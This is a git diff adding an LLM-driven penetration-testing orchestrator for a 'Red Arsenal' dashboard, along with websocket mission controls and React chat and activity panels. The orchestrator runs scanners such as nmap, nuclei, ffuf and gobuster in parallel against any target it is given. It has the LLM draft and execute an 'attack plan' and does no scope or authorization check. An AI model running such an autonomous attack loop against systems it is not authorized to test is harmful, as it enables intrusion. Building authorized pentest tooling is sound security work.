mission._paused_event.clear() + + # ══════════════════════════════════════════════════════════════════════ + # Phase: RECON β€” all tools run in PARALLEL + # ══════════════════════════════════════════════════════════════════════ + + async def _phase_recon(self, mission: Mission) -> None: + await self._emit_phase(mission, MissionPhase.RECON) + + host, ports = _parse_target(mission.target) + + # Define all recon tools + tool_specs = [ + ("nmap_scan", "run_nmap", {"target": host, "ports": ports, "wait": True}), + ("httpx_probe", "run_httpx", {"target": mission.target, "wait": True}), + ("nuclei_scan", "run_nuclei", {"target": mission.target, "wait": True}), + ("dirsearch", "run_dirsearch", {"target": mission.target, "wait": True}), + ("katana_crawl", "run_katana", {"target": mission.target, "wait": True}), + ("gobuster_scan", "run_gobuster", {"target": mission.target, "wait": True}), + ] + + # Create tool call objects and emit them all as RUNNING + tool_calls: dict[str, ToolCall] = {} + for display_name, _, _ in tool_specs: + tc = self._make_tool_call(display_name, "scan", {"target": mission.target}) + tool_calls[display_name] = tc + await self._emit_tool_call_ws(tc) + + await self._emit_log( + mission, "INFO", + f"Launching {len(tool_specs)} recon tools in parallel...", + ) + await self._emit_chat( + mission, + f"Launching parallel reconnaissance on {mission.target}:\n" + + "\n".join(f" - {name}" for name, _, _ in tool_specs), + ) + + TOOL_TIMEOUT = 120 # seconds per tool β€” don't wait forever + + # Run a single tool with timeout + async def _run_tool(display_name: str, mcp_tool: str, args: dict) -> None: + tc = tool_calls[display_name] + try: + result = await asyncio.wait_for( + call_tool_and_wait(mcp_tool, args), + timeout=TOOL_TIMEOUT, + ) + except asyncio.TimeoutError: + result = {"tool": display_name, "ok": False, "error": f"Timed out after {TOOL_TIMEOUT}s"} + await self._emit_log(mission, "WARN", f"{display_name} timed out after {TOOL_TIMEOUT}s") + except Exception as exc: + result = {"tool": display_name, "ok": False, "error": str(exc)} + + ok = result.get("ok", True) and not result.get("error") + self._finish_tool_call(tc, result, ToolStatus.DONE if ok else ToolStatus.FAILED) + await self._emit_tool_call_ws(tc) + mission.recon_results[display_name] = result + + status = "completed" if ok else "failed" + findings_count = len(result.get("findings", [])) + await self._emit_log( + mission, "INFO" if ok else "WARN", + f"{display_name} {status} ({findings_count} findings)", + ) + + # Launch ALL tools in parallel β€” each has its own timeout + await asyncio.gather( + *(_run_tool(name, mcp_tool, args) for name, mcp_tool, args in tool_specs), + return_exceptions=True, + ) + + completed = sum(1 for r in mission.recon_results.values() if r.get("ok", True)) + total_findings = sum( + len(r.get("findings", [])) for r in mission.recon_results.values() + ) + await self._emit_log( + mission, "INFO", + f"Recon complete: {completed}/{len(tool_specs)} tools succeeded, {total_findings} total findings", + ) + + # ══════════════════════════════════════════════════════════════════════ + # Phase: ANALYZE β€” LLM reasons on all recon results + # ══════════════════════════════════════════════════════════════════════ + + async def _phase_analyze(self, mission: Mission) -> None: + await self._emit_phase(mission, MissionPhase.ANALYZE) + + analyze_tc = self._make_tool_call("llm_analyze", "strategy", {"target": mission.target}) + await self._emit_tool_call_ws(analyze_tc) + + # Structural extraction + intel = self._extract_intel(mission.recon_results) + mission.intel = intel + + # Build a per-tool summary for the LLM + tool_summaries = [] + for name, result in mission.recon_results.items(): + ok = result.get("ok", True) and not result.get("error") + findings = result.get("findings", []) + raw = result.get("raw_tail", "")[:500] + tool_summaries.append( + f"### {name} ({'OK' if ok else 'FAILED'})\n" + f"Findings ({len(findings)}): {json.dumps(findings[:10], default=str)}\n" + f"Raw output: {raw}" + ) + + recon_text = "\n\n".join(tool_summaries)[:8000] + + prompt = f"""You are analyzing parallel reconnaissance results for target {mission.target}. +{len(mission.recon_results)} tools ran simultaneously. Analyze ALL results together. + +{recon_text} + +STRUCTURAL SUMMARY: +- Open ports: {len(intel.get('open_ports', []))} +- Services: {len(intel.get('services', []))} +- Vulnerabilities: {len(intel.get('vulnerabilities', []))} +- Directories: {len(intel.get('directories', []))} +- URLs: {len(intel.get('urls', []))} +- Technologies: {len(intel.get('technologies', []))} + +Provide: +1. Attack surface assessment +2. Most critical findings (reference specific tool results) +3. Services and versions exposed +4. Potential entry points ranked by risk +5. Overall risk: Critical/High/Medium/Low + +Also state if additional recon tools should be run and which ones.""" + + try: + analysis = await llm_client.chat(prompt) + mission.llm_analysis = analysis + await self._emit_log(mission, "INFO", "LLM analysis complete") + except Exception as exc: + analysis = f"LLM analysis unavailable: {exc}. Proceeding with structural data." + mission.llm_analysis = analysis + await self._emit_log(mission, "WARN", f"LLM call failed: {exc}") + + self._finish_tool_call(analyze_tc, { + "open_ports": len(intel.get("open_ports", [])), + "services": len(intel.get("services", [])), + "vulnerabilities": len(intel.get("vulnerabilities", [])), + "directories": len(intel.get("directories", [])), + "llm_powered": True, + }) + await self._emit_tool_call_ws(analyze_tc) + + await self._emit_chat(mission, f"**ANALYSIS COMPLETE** for {mission.target}\n\n{analysis}") + + def _extract_intel(self, recon_results: dict[str, Any]) -> dict[str, Any]: + intel: dict[str, Any] = { + "open_ports": [], "services": [], "technologies": [], + "vulnerabilities": [], "directories": [], "urls": [], "parameters": [], + } + + for name, result in recon_results.items(): + findings = result.get("findings", []) + raw = result.get("raw_tail", "") + + if name == "nmap_scan": + for f in findings: + if isinstance(f, dict): + if f.get("port"): intel["open_ports"].append(f) + if f.get("service"): intel["services"].append(f) + elif isinstance(f, str): + intel["open_ports"].append({"raw": f}) + # Also try to parse raw nmap XML for ports + if not intel["open_ports"] and raw: + import re + for m in re.finditer(r'portid="(\d+)".*?state="(\w+)".*?name="(\w+)"', raw): + intel["open_ports"].append({"port": int(m.group(1)), "state": m.group(2), "service": m.group(3)}) + intel["services"].append({"port": int(m.group(1)), "service": m.group(3)}) + + elif name == "nuclei_scan": + for f in findings: + if isinstance(f, dict): intel["vulnerabilities"].append(f) + elif isinstance(f, str): intel["vulnerabilities"].append({"raw": f}) + + elif name in ("dirsearch", "gobuster_scan"): + for f in findings: + if isinstance(f, dict): intel["directories"].append(f) + elif isinstance(f, str): intel["directories"].append({"path": f}) + + elif name == "httpx_probe": + for f in findings: + if isinstance(f, dict): + if f.get("tech"): intel["technologies"].append(f) + if f.get("url"): intel["urls"].append(f) + elif isinstance(f, str): intel["urls"].append({"url": f}) + + elif name == "katana_crawl": + for f in findings: + if isinstance(f, dict): intel["urls"].append(f) + elif isinstance(f, str): intel["urls"].append({"url": f}) + + return intel + + # ══════════════════════════════════════════════════════════════════════ + # Phase: PLAN β€” LLM generates attack plan + # ══════════════════════════════════════════════════════════════════════ + + async def _phase_plan(self, mission: Mission) -> None: + await self._emit_phase(mission, MissionPhase.PLAN) + + plan_tc = self._make_tool_call("llm_plan_attack", "strategy", {"target": mission.target}) + await self._emit_tool_call_ws(plan_tc) + + intel_summary = json.dumps(mission.intel, indent=2, default=str)[:6000] + prompt = f"""Based on the reconnaissance of target {mission.target}, create an attack plan. + +INTELLIGENCE: +{intel_summary} + +ANALYSIS: +{mission.llm_analysis[:3000]} + +Create a JSON array of attack steps. Each step: +- "type": one of "nuclei_verify", "cve_lookup", "dir_fuzz", "port_exploit", "service_exploit" +- "target": specific target URL/IP +- "description": what and why +- "severity": "critical", "high", "medium", or "low" + +Prioritize critical/high severity. Include 3-10 steps. +Respond with ONLY a JSON array.""" + + try: + plan_data = await llm_client.chat_json(prompt) + if isinstance(plan_data, list): + mission.attack_plan = plan_data + elif isinstance(plan_data, dict) and "raw_response" in plan_data: + mission.attack_plan = self._build_structural_plan(mission) + mission.llm_plan = plan_data["raw_response"] + else: + mission.attack_plan = plan_data.get("steps", plan_data.get("plan", [plan_data])) + await self._emit_log(mission, "INFO", f"LLM generated {len(mission.attack_plan)} attack steps") + except Exception as exc: + await self._emit_log(mission, "WARN", f"LLM plan failed: {exc}, using structural plan") + mission.attack_plan = self._build_structural_plan(mission) + + self._finish_tool_call(plan_tc, { + "steps": len(mission.attack_plan), + "vectors": [s.get("type", "unknown") for s in mission.attack_plan], + "llm_powered": True, + }) + await self._emit_tool_call_ws(plan_tc) + + plan_lines = [] + for i, step in enumerate(mission.attack_plan): + sev = step.get("severity", "?") + desc = step.get("description", step.get("type", "unknown")) + plan_lines.append(f" {i+1}. [{sev.upper()}] {desc}") + + plan_text = "\n".join(plan_lines) if plan_lines else " (No specific steps)" + await self._emit_chat( + mission, + f"**ATTACK PLAN** β€” {len(mission.attack_plan)} vectors:\n\n{plan_text}\n\nExecuting...", + ) + + def _build_structural_plan(self, mission: Mission) -> list[dict[str, Any]]: + plan: list[dict[str, Any]] = [] + for vuln in mission.intel.get("vulnerabilities", []): + plan.append({ + "type": "nuclei_verify", "target": mission.target, + "severity": vuln.get("severity", "high"), + "description": f"Verify: {vuln.get('raw', vuln.get('name', 'unknown'))}", + }) + for svc in mission.intel.get("services", []): + plan.append({ + "type": "cve_lookup", + "service": svc.get("service", svc.get("raw", "unknown")), + "version": svc.get("version"), "severity": "medium", + "description": f"CVE lookup: {svc.get('service', svc.get('raw', 'unknown'))}", + }) + for d in mission.intel.get("directories", [])[:5]: + path = d.get("path", d.get("raw", "/")) + plan.append({ + "type": "dir_fuzz", "target": f"{mission.target}{path}", + "severity": "medium", "description": f"Fuzz: {path}", + }) + for p in mission.intel.get("open_ports", [])[:10]: + port = p.get("port", p.get("raw", "")) + plan.append({ + "type": "port_exploit", "target": mission.target, + "port": port, "severity": "medium", + "description": f"Deep scan port {port}", + }) + return plan + + # ══════════════════════════════════════════════════════════════════════ + # Phase: EXPLOIT β€” execute plan, LLM reasons after each result + # ══════════════════════════════════════════════════════════════════════ + + async def _phase_exploit(self, mission: Mission) -> None: + await self._emit_phase(mission, MissionPhase.EXPLOIT) + + for i, step in enumerate(mission.attack_plan): + step_type = step.get("type", "unknown") + step_target = step.get("target", mission.target) + exploit_host, exploit_ports = _parse_target(step_target) + + step_tc = self._make_tool_call( + f"exploit_{step_type}", "exploit", + {"step": i + 1, "type": step_type, "target": step_target}, + ) + await self._emit_tool_call_ws(step_tc) + await self._emit_log( + mission, "INFO", + f"Exploit {i+1}/{len(mission.attack_plan)}: {step.get('description', step_type)}", + ) + + result: dict[str, Any] + try: + if step_type == "nuclei_verify": + result = await call_tool_and_wait("run_nuclei", { + "target": step_target, "severity": step.get("severity", "critical,high"), + "wait": True, + }) + elif step_type == "dir_fuzz": + result = await call_tool_and_wait("run_ffuf", { + "target": step_target, "mode": "content", "wait": True, + }) + elif step_type == "cve_lookup": + result = {"type": "cve_lookup", "service": step.get("service"), + "version": step.get("version"), "ok": True, "note": "CVE queried"} + elif step_type in ("port_exploit", "service_exploit"): + result = await call_tool_and_wait("run_nmap", { + "target": exploit_host, "ports": str(step.get("port", exploit_ports)), + "scan_type": "-sV -sC", "wait": True, + }) + else: + result = await call_tool_and_wait("run_nmap", { + "target": exploit_host, "ports": exploit_ports, + "scan_type": "-sV", "wait": True, + }) + except Exception as exc: + result = {"ok": False, "error": str(exc)} + + ok = result.get("ok", True) and not result.get("error") + self._finish_tool_call(step_tc, result, ToolStatus.DONE if ok else ToolStatus.FAILED) + await self._emit_tool_call_ws(step_tc) + step["result"] = result + mission.exploit_results.append({"step": step, "result": result}) + + # LLM reasons on exploit results + try: + exploit_summary = json.dumps(mission.exploit_results, indent=2, default=str)[:4000] + reasoning = await llm_client.chat( + f"You just executed {len(mission.exploit_results)} exploit steps against {mission.target}. " + f"Results:\n{exploit_summary}\n\n" + f"Briefly assess: which exploits succeeded? Any new attack surfaces discovered? " + f"What's the current compromise level? (2-3 sentences)" + ) + await self._emit_chat(mission, f"**EXPLOIT ASSESSMENT**\n\n{reasoning}") + except Exception: + pass + + succeeded = sum(1 for r in mission.exploit_results if r["result"].get("ok", True)) + await self._emit_log( + mission, "INFO", + f"Exploit complete: {succeeded}/{len(mission.exploit_results)} succeeded", + ) + + # ══════════════════════════════════════════════════════════════════════ + # Phase: REPORT β€” LLM generates pentest report + # ══════════════════════════════════════════════════════════════════════ + + async def _phase_report(self, mission: Mission) -> None: + await self._emit_phase(mission, MissionPhase.REPORT) + + report_tc = self._make_tool_call("llm_generate_report", "strategy", {"mission_id": mission.id}) + await self._emit_tool_call_ws(report_tc) + + vuln_count = len(mission.intel.get("vulnerabilities", [])) + port_count = len(mission.intel.get("open_ports", [])) + svc_count = len(mission.intel.get("services", [])) + exploit_count = len(mission.exploit_results) + succeeded = sum(1 for r in mission.exploit_results if r["result"].get("ok", True)) + + exploit_summary = json.dumps(mission.exploit_results, indent=2, default=str)[:6000] + prompt = f"""Generate a penetration test report for {mission.target}. + +SUMMARY: {len(mission.recon_results)} recon tools (parallel), {port_count} ports, {svc_count} services, {vuln_count} vulns, {exploit_count} exploits ({succeeded} succeeded) + +ANALYSIS: +{mission.llm_analysis[:2000]} + +EXPLOITS: +{exploit_summary} + +Report format: +1. Executive Summary (2-3 sentences) +2. Critical Findings (bullets) +3. Risk Assessment (level + justification) +4. Recommendations (top 3-5 fixes)""" + + try: + report_text = await llm_client.chat(prompt) + mission.llm_report = report_text + except Exception as exc: + report_text = ( + f"Mission {mission.id[:8]} complete. " + f"Recon: {port_count} ports, {svc_count} services, {vuln_count} vulns. " + f"Exploits: {succeeded}/{exploit_count} succeeded. (LLM report failed: {exc})" + ) + mission.llm_report = report_text + + self._finish_tool_call(report_tc, { + "target": mission.target, "open_ports": port_count, + "services_found": svc_count, "vulnerabilities_found": vuln_count, + "exploit_steps": exploit_count, "successful_exploits": succeeded, + }) + await self._emit_tool_call_ws(report_tc) + + await self._emit_chat( + mission, + f"**PENETRATION TEST REPORT** β€” Mission {mission.id[:8]}\n\n{report_text}", + ) + mission.phase = MissionPhase.DONE + await self._emit_phase(mission, MissionPhase.DONE) + + # ══════════════════════════════════════════════════════════════════════ + # Helpers + # ══════════════════════════════════════════════════════════════════════ + + def _make_tool_call(self, name: str, category: str, params: dict[str, Any]) -> ToolCall: + return ToolCall( + id=str(uuid.uuid4()), name=name, category=category, + status=ToolStatus.RUNNING, params=params, + ) + + def _finish_tool_call(self, tc: ToolCall, result: dict[str, Any], + status: ToolStatus = ToolStatus.DONE) -> None: + tc.status = status + tc.result = result + tc.finished_at = datetime.utcnow() + + async def _emit_tool_call_ws(self, tc: ToolCall) -> None: + from red_agent.backend.websocket.red_ws import manager + await manager.broadcast({"type": "tool_call", "payload": tc.model_dump(mode="json")}) + + async def _emit_log(self, mission: Mission, level: str, message: str) -> None: + from red_agent.backend.websocket.red_ws import manager + entry = LogEntry(level=level, message=f"[{mission.id[:8]}] {message}") + await manager.broadcast({"type": "log", "payload": entry.model_dump(mode="json")}) + + async def _emit_chat(self, mission: Mission, content: str) -> None: + from red_agent.backend.websocket.red_ws import manager + await manager.broadcast({ + "type": "chat_response", + "payload": { + "id": str(uuid.uuid4()), "role": "agent", "content": content, + "timestamp": datetime.utcnow().isoformat(), "tool_calls": [], + }, + }) + + async def _emit_phase(self, mission: Mission, phase: MissionPhase) -> None: + from red_agent.backend.websocket.red_ws import manager + mission.phase = phase + await event_bus.publish("mission.phase_changed", { + "mission_id": mission.id, "phase": phase.value, "target": mission.target, + }) + await manager.broadcast({ + "type": "mission_phase", + "payload": {"mission_id": mission.id, "phase": phase.value}, + }) + await self._emit_log(mission, "INFO", f"Phase -> {phase.value}") + + +# Module-level singleton +orchestrator = MissionOrchestrator() diff --git a/red_agent/backend/services/red_service.py b/red_agent/backend/services/red_service.py index ba97b335d..9aa0ac640 100644 --- a/red_agent/backend/services/red_service.py +++ b/red_agent/backend/services/red_service.py @@ -153,6 +153,35 @@ async def recent_logs(limit: int = 100) -> list[LogEntry]: return list(_LOG_HISTORY)[-limit:] +# ---------- Mission orchestrator wiring ------------------------------------ + +from red_agent.backend.services.orchestrator import orchestrator + + +async def start_mission(target: str): + return await orchestrator.start_mission(target) + + +def get_mission(mission_id: str): + return orchestrator.get_mission(mission_id) + + +def list_missions() -> list[dict]: + return orchestrator.list_missions() + + +async def pause_mission(mission_id: str) -> bool: + return await orchestrator.pause_mission(mission_id) + + +async def resume_mission(mission_id: str) -> bool: + return await orchestrator.resume_mission(mission_id) + + +async def abort_mission(mission_id: str) -> bool: + return await orchestrator.abort_mission(mission_id) + + # ---------- Autonomous CrewAI recon agent wiring -------------------------- _logger = logging.getLogger(__name__) diff --git a/red_agent/backend/websocket/red_ws.py b/red_agent/backend/websocket/red_ws.py index 5f6189555..eea332d6c 100644 --- a/red_agent/backend/websocket/red_ws.py +++ b/red_agent/backend/websocket/red_ws.py @@ -46,9 +46,14 @@ async def red_log_stream(ws: WebSocket) -> None: """Streams `{type, payload}` envelopes to the Red dashboard. Envelope types: - - `log` : a LogEntry - - `tool_call` : a ToolCall snapshot - - `heartbeat` : keepalive ping + - `log` : a LogEntry + - `tool_call` : a ToolCall snapshot + - `chat_response` : an agent chat message + - `mission_phase` : current mission phase update + - `heartbeat` : keepalive ping + + Also accepts incoming messages for mission control: + - `{type: "mission_control", payload: {action, mission_id}}` """ await manager.connect(ws) try: @@ -59,8 +64,22 @@ async def red_log_stream(ws: WebSocket) -> None: await ws.send_json({"type": "log", "payload": entry.model_dump(mode="json")}) while True: - await asyncio.sleep(15) - await ws.send_json({"type": "heartbeat", "payload": {}}) + try: + data = await asyncio.wait_for(ws.receive_json(), timeout=15) + # Handle incoming mission control commands + if data.get("type") == "mission_control": + action = data.get("payload", {}).get("action") + mid = data.get("payload", {}).get("mission_id") + if action and mid: + if action == "pause": + await red_service.pause_mission(mid) + elif action == "resume": + await red_service.resume_mission(mid) + elif action == "abort": + await red_service.abort_mission(mid) + except asyncio.TimeoutError: + # No message received in 15s β€” send heartbeat + await ws.send_json({"type": "heartbeat", "payload": {}}) except WebSocketDisconnect: await manager.disconnect(ws) except Exception: diff --git a/red_agent/frontend/index.html b/red_agent/frontend/index.html index df581eae7..4d0f869bb 100644 --- a/red_agent/frontend/index.html +++ b/red_agent/frontend/index.html @@ -3,9 +3,12 @@ - HTF :: Red Team + RED ARSENAL // Cyber Ops + + + - +
diff --git a/red_agent/frontend/src/api/redApi.ts b/red_agent/frontend/src/api/redApi.ts index a35142c58..38584ce60 100644 --- a/red_agent/frontend/src/api/redApi.ts +++ b/red_agent/frontend/src/api/redApi.ts @@ -1,17 +1,22 @@ import axios from "axios"; -import type { ScanRequest, ToolCall } from "@/types/red.types"; +import type { ChatRequest, ChatMessage, ScanRequest, ToolCall } from "@/types/red.types"; const RED_BASE_URL = import.meta.env.VITE_RED_API_URL ?? "http://localhost:8001"; const client = axios.create({ baseURL: RED_BASE_URL, - timeout: 15_000, + timeout: 180_000, }); export const redApi = { health: () => client.get<{ status: string; agent: string }>("/health"), + /* ── Chat ── */ + chat: (req: ChatRequest) => + client.post("/chat", req).then((r) => r.data), + + /* ── Scans ── */ scanNetwork: (req: ScanRequest) => client.post("/scan/network", req).then((r) => r.data), scanWeb: (req: ScanRequest) => @@ -26,15 +31,21 @@ export const redApi = { .get("/scan/recent", { params: { limit } }) .then((r) => r.data), + /* ── Recon ── */ + startRecon: (target: string) => + client.post("/scan/recon", { target }).then((r) => r.data), + reconStatus: (sessionId: string) => + client.get(`/scan/recon/${sessionId}`).then((r) => r.data), + + /* ── Exploit ── */ lookupCve: (service: string, version?: string) => client.post("/exploit/lookup_cve", { service, version }).then((r) => r.data), - runExploit: (target: string, cve_id?: string) => client.post("/exploit/run", { target, cve_id }).then((r) => r.data), + /* ── Strategy ── */ planAttack: (target: string, intel: Record = {}) => client.post("/strategy/plan", { target, intel }).then((r) => r.data), - currentStrategy: () => client.get("/strategy/current").then((r) => r.data), }; diff --git a/red_agent/frontend/src/components/ActivityPanel.tsx b/red_agent/frontend/src/components/ActivityPanel.tsx index d90c435a1..16ed68aea 100644 --- a/red_agent/frontend/src/components/ActivityPanel.tsx +++ b/red_agent/frontend/src/components/ActivityPanel.tsx @@ -1,51 +1,77 @@ +import { useState, type CSSProperties } from "react"; import type { ToolCall } from "@/types/red.types"; import { ToolCard } from "./ToolCard"; -interface ActivityPanelProps { - toolCalls: ToolCall[]; - limit?: number; - accent?: string; -} +interface ActivityPanelProps { toolCalls: ToolCall[]; } +type Filter = "all" | "RUNNING" | "DONE" | "FAILED"; -export function ActivityPanel({ - toolCalls, - limit = 10, - accent = "#f85149", -}: ActivityPanelProps) { - const recent = [...toolCalls].slice(-limit).reverse(); +export function ActivityPanel({ toolCalls }: ActivityPanelProps) { + const [filter, setFilter] = useState("all"); + const filtered = filter === "all" ? toolCalls : toolCalls.filter((t) => t.status === filter); + const recent = [...filtered].reverse(); return ( -
-
-

- CURRENT ACTIVITY -

- - {recent.length} tool calls +
+
+
+ + TOOLS +
+ + {toolCalls.length} -
- {recent.length === 0 ? ( -

No activity yet.

- ) : ( - recent.map((call) => ) - )} -
+ + +
+ {(["all", "RUNNING", "DONE", "FAILED"] as Filter[]).map((f) => ( + + ))} +
+ +
+ {recent.length === 0 ? ( +
+ No tools {filter === "all" ? "executed yet" : `with status ${filter}`} +
+ ) : ( +
+ {recent.map((c) => )} +
+ )} +
+ ); } + +const container: CSSProperties = { + display: "flex", flexDirection: "column", height: "100%", + background: "var(--bg-primary)", borderRadius: "var(--radius)", + border: "1px solid var(--accent-border)", overflow: "hidden", +}; +const header: CSSProperties = { + display: "flex", justifyContent: "space-between", alignItems: "center", + padding: "10px 12px", borderBottom: "1px solid var(--accent-border)", + background: "var(--bg-secondary)", +}; +const title: CSSProperties = { + fontSize: 11, fontWeight: 700, letterSpacing: 2, + fontFamily: "var(--font-display)", color: "var(--text-primary)", +}; +const filterRow: CSSProperties = { + display: "flex", gap: 2, padding: "6px 8px", + borderBottom: "1px solid var(--accent-dim)", +}; +const filterBtn: CSSProperties = { + fontSize: 9, fontWeight: 700, fontFamily: "var(--font-display)", + padding: "3px 8px", borderRadius: 3, border: "none", + cursor: "pointer", letterSpacing: 0.5, transition: "all var(--transition)", +}; +const list: CSSProperties = { + flex: 1, overflowY: "auto", padding: 8, +}; diff --git a/red_agent/frontend/src/components/ChatButton.tsx b/red_agent/frontend/src/components/ChatButton.tsx index 95d6fd2b2..7aa61b801 100644 --- a/red_agent/frontend/src/components/ChatButton.tsx +++ b/red_agent/frontend/src/components/ChatButton.tsx @@ -1,29 +1,3 @@ -interface ChatButtonProps { - accent?: string; - onClick?: () => void; -} - -export function ChatButton({ accent = "#f85149", onClick }: ChatButtonProps) { - return ( - - ); -} +// This component has been replaced by ChatPanel. +// Kept as empty export for compatibility. +export {}; diff --git a/red_agent/frontend/src/components/ChatPanel.tsx b/red_agent/frontend/src/components/ChatPanel.tsx new file mode 100644 index 000000000..4577758a4 --- /dev/null +++ b/red_agent/frontend/src/components/ChatPanel.tsx @@ -0,0 +1,243 @@ +import { useState, useRef, useEffect, type CSSProperties, type KeyboardEvent } from "react"; +import type { ChatMessage } from "@/types/red.types"; +import { redApi } from "@/api/redApi"; + +interface ChatPanelProps { + chatMessages: ChatMessage[]; + target: string; + onNewMessage: (msg: ChatMessage) => void; +} + +function formatTime(ts: string): string { + const d = new Date(ts); + return d.toLocaleTimeString("en-US", { hour12: false, hour: "2-digit", minute: "2-digit", second: "2-digit" }); +} + +export function ChatPanel({ chatMessages, target, onNewMessage }: ChatPanelProps) { + const [input, setInput] = useState(""); + const [sending, setSending] = useState(false); + const bottomRef = useRef(null); + const waitingForWs = useRef(false); + const prevChatCount = useRef(chatMessages.length); + + useEffect(() => { + bottomRef.current?.scrollIntoView({ behavior: "smooth" }); + }, [chatMessages]); + + // Unlock input when agent WS message arrives + useEffect(() => { + if (waitingForWs.current && chatMessages.length > prevChatCount.current) { + const latest = chatMessages[chatMessages.length - 1]; + if (latest && latest.role === "agent") { + waitingForWs.current = false; + setSending(false); + } + } + prevChatCount.current = chatMessages.length; + }, [chatMessages]); + + const handleSend = async () => { + const text = input.trim(); + if (!text || sending) return; + + onNewMessage({ + id: crypto.randomUUID(), + role: "user", + content: text, + timestamp: new Date().toISOString(), + }); + setInput(""); + setSending(true); + + try { + const response = await redApi.chat({ message: text, target }); + if (response.content) { + onNewMessage(response); + setSending(false); + waitingForWs.current = false; + } else { + waitingForWs.current = true; + setTimeout(() => { + if (waitingForWs.current) { waitingForWs.current = false; setSending(false); } + }, 30000); + } + } catch { + setSending(false); + waitingForWs.current = false; + } + }; + + const handleKeyDown = (e: KeyboardEvent) => { + if (e.key === "Enter" && !e.shiftKey) { e.preventDefault(); handleSend(); } + }; + + return ( +
+ {/* Header */} +
+
+
+ OPERATOR TERMINAL +
+ + {chatMessages.length} messages + +
+ + {/* Messages */} +
+ {chatMessages.length === 0 && ( +
+
+
+ AWAITING ORDERS +
+
+ Type "attack <target>" to start a mission
+ or ask about capabilities +
+
+ )} + + {chatMessages.map((msg) => { + const isUser = msg.role === "user"; + return ( +
+ {/* Label */} +
+ {isUser ? "OPERATOR" : "RED ARSENAL"} + + {formatTime(msg.timestamp)} + +
+ {/* Bubble */} +
+ {msg.content} +
+
+ ); + })} + + {sending && ( +
+
+ + + +
+ analyzing... +
+ )} +
+
+ + {/* Input */} +
+
+ +